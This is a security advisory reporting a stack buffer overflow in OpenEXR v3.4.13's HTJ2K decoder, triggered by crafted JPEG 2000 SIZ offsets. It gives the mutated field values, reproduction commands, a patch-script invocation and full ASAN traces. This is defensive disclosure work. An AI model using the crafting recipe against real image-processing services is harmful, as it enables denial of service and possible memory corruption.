Skip to content

GHSA-fw66-6xph-56jm on CTRL-OS 26.05

Aliases: GHSA-fw66-6xph-56jm

Packages: openexr

Status: Plausible

Advisory Information

OpenEXR v3.4.13 HTJ2K SIZ image-offset gap stack buffer overflow

Summary

A crafted HTJ2K-compressed EXR can crash OpenEXR during normal decode. The file keeps the visible HTJ2K image size at 16x16, but mutates JPEG 2000 SIZ fields so the first tile no longer intersects the image:

Base: Ysiz=16,  YOsiz=0,   YTsiz=16, YTOsiz=0
PoC:  Ysiz=116, YOsiz=100, YTsiz=16, YTOsiz=0
Visible height remains: Ysiz - YOsiz = 16
Broken invariant: YTsiz + YTOsiz <= YOsiz

OpenEXR accepts the chunk dimensions, then the vendored OpenJPH HTJ2K decoder reaches invalid tile/codeblock geometry. ASAN reports AddressSanitizer: stack-buffer-overflow, WRITE of size 2, in external/OpenJPH/src/core/coding/ojph_block_decoder_avx2.cpp:1346, overflowing stack object scratch.

Fresh local validation confirms the issue on both OpenEXR v3.4.13 and local upstream main.

Reproduced builds

v3.4.13 original valid base exrcheck: rc 0
v3.4.13 original PoC exrheader: rc 0
v3.4.13 original PoC exrcheck: rc 139 SIGSEGV
v3.4.13 ASAN valid base exrcheck: rc 0
v3.4.13 ASAN PoC exrcheck: rc 134, stack-buffer-overflow, WRITE of size 2

main original valid base exrcheck: rc 0
main original PoC exrheader: rc 0
main original PoC exrcheck: rc 139 SIGSEGV
main ASAN valid base exrcheck: rc 0
main ASAN PoC exrcheck: rc 134, stack-buffer-overflow, WRITE of size 2

Full ASAN outputs are included as files, not excerpted:

poc_materials/logs/final/v3413_asan_poc_exrcheck.out
poc_materials/logs/final/main_asan_poc_exrcheck.out

Root cause

OpenEXR's HTJ2K path validates the decoded codestream dimensions against the EXR chunk size, but it does not reject SIZ image-offset/tile-grid geometry where the first tile does not intersect the image.

Relevant flow:

src/lib/OpenEXRCore/internal_ht.cpp
  cs.read_headers(&infile)
  image_height = siz.get_image_extent().y - siz.get_image_offset().y
  image_width  = siz.get_image_extent().x - siz.get_image_offset().x
  compare only visible width/height against chunk dimensions

The writer-side OpenJPH SIZ validity helper already has the missing invariant:

if (XTsiz + XTOsiz <= XOsiz || YTsiz + YTOsiz <= YOsiz)
    error: top left tile must intersect with the image

The crafted EXR reaches the shipped exrcheck tool and the public C++ decode path from a standalone file. No invalid caller-owned buffer or private API precondition is needed.

PoC package

poc.zip

poc_htj2k_siz_yosiz_gap_stack_oob.exr
reproduce.sh
poc_materials/base_htj2k32_scan_rgba_16x16.exr
poc_materials/patch_siz_fields.py
poc_materials/logs/final/summary.txt
poc_materials/logs/final/v3413_original_base_exrcheck.out
poc_materials/logs/final/v3413_original_poc_exrheader.out
poc_materials/logs/final/v3413_original_poc_exrcheck.out
poc_materials/logs/final/v3413_asan_base_exrcheck.out
poc_materials/logs/final/v3413_asan_poc_exrcheck.out
poc_materials/logs/final/main_original_base_exrcheck.out
poc_materials/logs/final/main_original_poc_exrheader.out
poc_materials/logs/final/main_original_poc_exrcheck.out
poc_materials/logs/final/main_asan_base_exrcheck.out
poc_materials/logs/final/main_asan_poc_exrcheck.out

No report.md, README, sha256-only file, advisory TSV, AFL output, fuzzer corpus, source snippet dump, or optional UBSAN/MSAN noise is included in poc.zip.

Reproduction

From the extracted poc.zip directory, with OPENEXR_ROOT pointing to a workspace containing the v3.4.13 and main builds:

OPENEXR_ROOT=/home/br0nzu/openexr/v3.4.13 ./reproduce.sh

Manual checks:

POC=poc_htj2k_siz_yosiz_gap_stack_oob.exr
BASE=poc_materials/base_htj2k32_scan_rgba_16x16.exr

$OPENEXR_ROOT/builds/original/bin/exrcheck "$BASE"       # rc 0
$OPENEXR_ROOT/builds/original/bin/exrheader "$POC"       # rc 0
$OPENEXR_ROOT/builds/original/bin/exrcheck "$POC"        # rc 139 SIGSEGV

ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:symbolize=1:allocator_may_return_null=1:detect_leaks=0' \
  $OPENEXR_ROOT/builds/asan/bin/exrcheck "$POC"          # rc 134, stack-buffer-overflow

The mutation can be recreated from the valid base file:

poc_materials/patch_siz_fields.py "$BASE" rebuilt.exr YOsiz=100 Ysiz=116
cmp -s "$POC" rebuilt.exr

Full sanitizer output

v3.4.13 ASAN PoC stderr

 file /home/br0nzu/openexr/v3.4.13/report/43. OpenEXR v3.4.13 HTJ2K SIZ image-offset gap stack buffer overflow/poc_htj2k_siz_yosiz_gap_stack_oob.exr =================================================================
==26298==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x767cb5202030 at pc 0x5cd94a4a6e08 bp 0x7ffe1810eff0 sp 0x7ffe1810efe8
WRITE of size 2 at 0x767cb5202030 thread T0
    #0 0x5cd94a4a6e07 in ojph::local::ojph_decode_codeblock_avx2(unsigned char*, unsigned int*, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/external/OpenJPH/src/core/coding/ojph_block_decoder_avx2.cpp:1346:19
    #1 0x5cd94a46d1c2 in ojph::local::codeblock::decode() /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/external/OpenJPH/src/core/codestream/ojph_codeblock.cpp
    #2 0x5cd94a46b9b8 in ojph::local::subband::pull_line() /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/external/OpenJPH/src/core/codestream/ojph_subband.cpp:367:23
    #3 0x5cd94a46571e in ojph::local::resolution::pull_line() /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/external/OpenJPH/src/core/codestream/ojph_resolution.cpp:758:59
    #4 0x5cd94a4655db in ojph::local::resolution::pull_line() /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/external/OpenJPH/src/core/codestream/ojph_resolution.cpp:745:61
    #5 0x5cd94a4655db in ojph::local::resolution::pull_line() /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/external/OpenJPH/src/core/codestream/ojph_resolution.cpp:745:61
    #6 0x5cd94a3e8c77 in ojph::local::tile::pull(ojph::line_buf*, unsigned int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/external/OpenJPH/src/core/codestream/ojph_tile.cpp:451:35
    #7 0x5cd94a3c9f63 in ojph::local::codestream::pull(unsigned int&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/external/OpenJPH/src/core/codestream/ojph_codestream_local.cpp:1209:38
    #8 0x5cd94a385efa in ht_undo_impl(_exr_decode_pipeline*, void const*, unsigned long, void*, unsigned long) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_ht.cpp:327:33
    #9 0x5cd94a385efa in internal_exr_undo_ht /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_ht.cpp:369:16
    #10 0x5cd94a332985 in exr_uncompress_chunk /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:546:14
    #11 0x5cd94a358d1a in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:580:14
    #12 0x5cd94a274de6 in Imf_3_4::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_3_4::FrameBuffer const*, int, int, std::vector<Imf_3_4::Slice, std::allocator<Imf_3_4::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23
    #13 0x5cd94a272b7c in Imf_3_4::ScanLineInputFile::Data::readPixels(Imf_3_4::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21
    #14 0x5cd94a247ae9 in Imf_3_4::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:458:20
    #15 0x5cd94a21993e in bool Imf_3_4::(anonymous namespace)::readScanline<Imf_3_4::InputPart>(Imf_3_4::InputPart&, bool, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239:20
    #16 0x5cd94a21993e in Imf_3_4::(anonymous namespace)::readMultiPart(Imf_3_4::MultiPartInputFile&, bool, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905:28
    #17 0x5cd94a2119d1 in bool Imf_3_4::(anonymous namespace)::runChecks<char const*>(char const*&, bool, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171:21
    #18 0x5cd94a2119d1 in Imf_3_4::checkOpenEXRFile(char const*, bool, bool, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835:19
    #19 0x5cd94a1912d4 in exrCheck(char const*, bool, bool, bool, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrcheck/main.cpp:96:16
    #20 0x5cd94a191ea7 in main /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrcheck/main.cpp:164:29
    #21 0x767cb682a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #22 0x767cb682a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #23 0x5cd94a0b5834 in _start (/home/br0nzu/openexr/v3.4.13/builds/asan/bin/exrcheck+0x74834) (BuildId: 893c22875554e1202f40b2400c529d2a0cde2c41)

Address 0x767cb5202030 is located in stack of thread T0 at offset 8240 in frame
    #0 0x5cd94a4a10ff in ojph::local::ojph_decode_codeblock_avx2(unsigned char*, unsigned int*, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/external/OpenJPH/src/core/coding/ojph_block_decoder_avx2.cpp:1073

  This frame has 8 object(s):
    [32, 8240) 'scratch' (line 1162) <== Memory access at offset 8240 overflows this variable
    [8496, 12720) 'v_n_scratch' (line 1438)
    [12976, 13048) 'magsgn' (line 1440)
    [13088, 14144) 'v_n_scratch589' (line 1553)
    [14272, 16384) 'v_n_scratch_32' (line 1554)
    [16512, 16584) 'magsgn590' (line 1556)
    [16624, 17152) 'prev_row_sig' (line 1730)
    [17280, 17352) 'sigprop' (line 1732)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/external/OpenJPH/src/core/coding/ojph_block_decoder_avx2.cpp:1346:19 in ojph::local::ojph_decode_codeblock_avx2(unsigned char*, unsigned int*, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, bool)
Shadow bytes around the buggy address:
  0x767cb5201d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x767cb5201e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x767cb5201e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x767cb5201f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x767cb5201f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x767cb5202000: 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x767cb5202080: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x767cb5202100: f2 f2 f2 f2 f2 f2 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
  0x767cb5202180: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
  0x767cb5202200: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
  0x767cb5202280: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==26298==ABORTING
timeout: the monitored command dumped core

upstream main ASAN PoC stderr

 file /home/br0nzu/openexr/v3.4.13/report/43. OpenEXR v3.4.13 HTJ2K SIZ image-offset gap stack buffer overflow/poc_htj2k_siz_yosiz_gap_stack_oob.exr =================================================================
==26312==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x738ee0e02030 at pc 0x5e8c9edec708 bp 0x7ffcd42e6a90 sp 0x7ffcd42e6a88
WRITE of size 2 at 0x738ee0e02030 thread T0
    #0 0x5e8c9edec707 in ojph::local::ojph_decode_codeblock_avx2(unsigned char*, unsigned int*, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/external/OpenJPH/src/core/coding/ojph_block_decoder_avx2.cpp:1346:19
    #1 0x5e8c9edb2ac2 in ojph::local::codeblock::decode() /home/br0nzu/openexr/v3.4.13/sources/openexr-main/external/OpenJPH/src/core/codestream/ojph_codeblock.cpp
    #2 0x5e8c9edb12b8 in ojph::local::subband::pull_line() /home/br0nzu/openexr/v3.4.13/sources/openexr-main/external/OpenJPH/src/core/codestream/ojph_subband.cpp:366:23
    #3 0x5e8c9edaafee in ojph::local::resolution::pull_line() /home/br0nzu/openexr/v3.4.13/sources/openexr-main/external/OpenJPH/src/core/codestream/ojph_resolution.cpp:758:59
    #4 0x5e8c9edaaeab in ojph::local::resolution::pull_line() /home/br0nzu/openexr/v3.4.13/sources/openexr-main/external/OpenJPH/src/core/codestream/ojph_resolution.cpp:745:61
    #5 0x5e8c9edaaeab in ojph::local::resolution::pull_line() /home/br0nzu/openexr/v3.4.13/sources/openexr-main/external/OpenJPH/src/core/codestream/ojph_resolution.cpp:745:61
    #6 0x5e8c9ed2e547 in ojph::local::tile::pull(ojph::line_buf*, unsigned int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/external/OpenJPH/src/core/codestream/ojph_tile.cpp:451:35
    #7 0x5e8c9ed0f8f3 in ojph::local::codestream::pull(unsigned int&) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/external/OpenJPH/src/core/codestream/ojph_codestream_local.cpp:1209:38
    #8 0x5e8c9eccb88a in ht_undo_impl(_exr_decode_pipeline*, void const*, unsigned long, void*, unsigned long) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXRCore/internal_ht.cpp:327:33
    #9 0x5e8c9eccb88a in internal_exr_undo_ht /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXRCore/internal_ht.cpp:369:16
    #10 0x5e8c9ec78315 in exr_uncompress_chunk /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXRCore/compression.c:546:14
    #11 0x5e8c9ec9e6aa in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXRCore/decoding.c:580:14
    #12 0x5e8c9ebba7f6 in Imf_4_0::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_4_0::FrameBuffer const*, int, int, std::vector<Imf_4_0::Slice, std::allocator<Imf_4_0::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23
    #13 0x5e8c9ebb85bc in Imf_4_0::ScanLineInputFile::Data::readPixels(Imf_4_0::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21
    #14 0x5e8c9eb8d5a9 in Imf_4_0::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXR/ImfInputFile.cpp:458:20
    #15 0x5e8c9eb5f4be in bool Imf_4_0::(anonymous namespace)::readScanline<Imf_4_0::InputPart>(Imf_4_0::InputPart&, bool, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239:20
    #16 0x5e8c9eb5f4be in Imf_4_0::(anonymous namespace)::readMultiPart(Imf_4_0::MultiPartInputFile&, bool, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905:28
    #17 0x5e8c9eb57581 in bool Imf_4_0::(anonymous namespace)::runChecks<char const*>(char const*&, bool, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171:21
    #18 0x5e8c9eb57581 in Imf_4_0::checkOpenEXRFile(char const*, bool, bool, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835:19
    #19 0x5e8c9ead32d4 in exrCheck(char const*, bool, bool, bool, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrcheck/main.cpp:98:16
    #20 0x5e8c9ead3ea7 in main /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrcheck/main.cpp:166:29
    #21 0x738ee242a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #22 0x738ee242a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #23 0x5e8c9e9f7834 in _start (/home/br0nzu/openexr/v3.4.13/builds/main_asan/bin/exrcheck+0x74834) (BuildId: 11d2947a5ce23f8695af5c32fc74c2893a3e8121)

Address 0x738ee0e02030 is located in stack of thread T0 at offset 8240 in frame
    #0 0x5e8c9ede69ff in ojph::local::ojph_decode_codeblock_avx2(unsigned char*, unsigned int*, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/external/OpenJPH/src/core/coding/ojph_block_decoder_avx2.cpp:1073

  This frame has 8 object(s):
    [32, 8240) 'scratch' (line 1162) <== Memory access at offset 8240 overflows this variable
    [8496, 12720) 'v_n_scratch' (line 1438)
    [12976, 13048) 'magsgn' (line 1440)
    [13088, 14144) 'v_n_scratch589' (line 1553)
    [14272, 16384) 'v_n_scratch_32' (line 1554)
    [16512, 16584) 'magsgn590' (line 1556)
    [16624, 17152) 'prev_row_sig' (line 1730)
    [17280, 17352) 'sigprop' (line 1732)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/br0nzu/openexr/v3.4.13/sources/openexr-main/external/OpenJPH/src/core/coding/ojph_block_decoder_avx2.cpp:1346:19 in ojph::local::ojph_decode_codeblock_avx2(unsigned char*, unsigned int*, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, bool)
Shadow bytes around the buggy address:
  0x738ee0e01d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x738ee0e01e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x738ee0e01e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x738ee0e01f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x738ee0e01f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x738ee0e02000: 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x738ee0e02080: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x738ee0e02100: f2 f2 f2 f2 f2 f2 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
  0x738ee0e02180: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
  0x738ee0e02200: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
  0x738ee0e02280: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==26312==ABORTING
timeout: the monitored command dumped core

Impact

Demonstrated impact: reliable process crash / denial of service while decoding an untrusted HTJ2K EXR file. ASAN confirms a stack out-of-bounds write in the vendored OpenJPH AVX2 decoder. This is security-relevant for tools or services that process attacker-supplied EXR images.

Updates

2026-08-11 03:50 CEST

Metadata changes:

  • Status for package openexr: “Plausible”

2026-08-11 03:32 CEST

Metadata changes:

  • Status for package openexr: “New”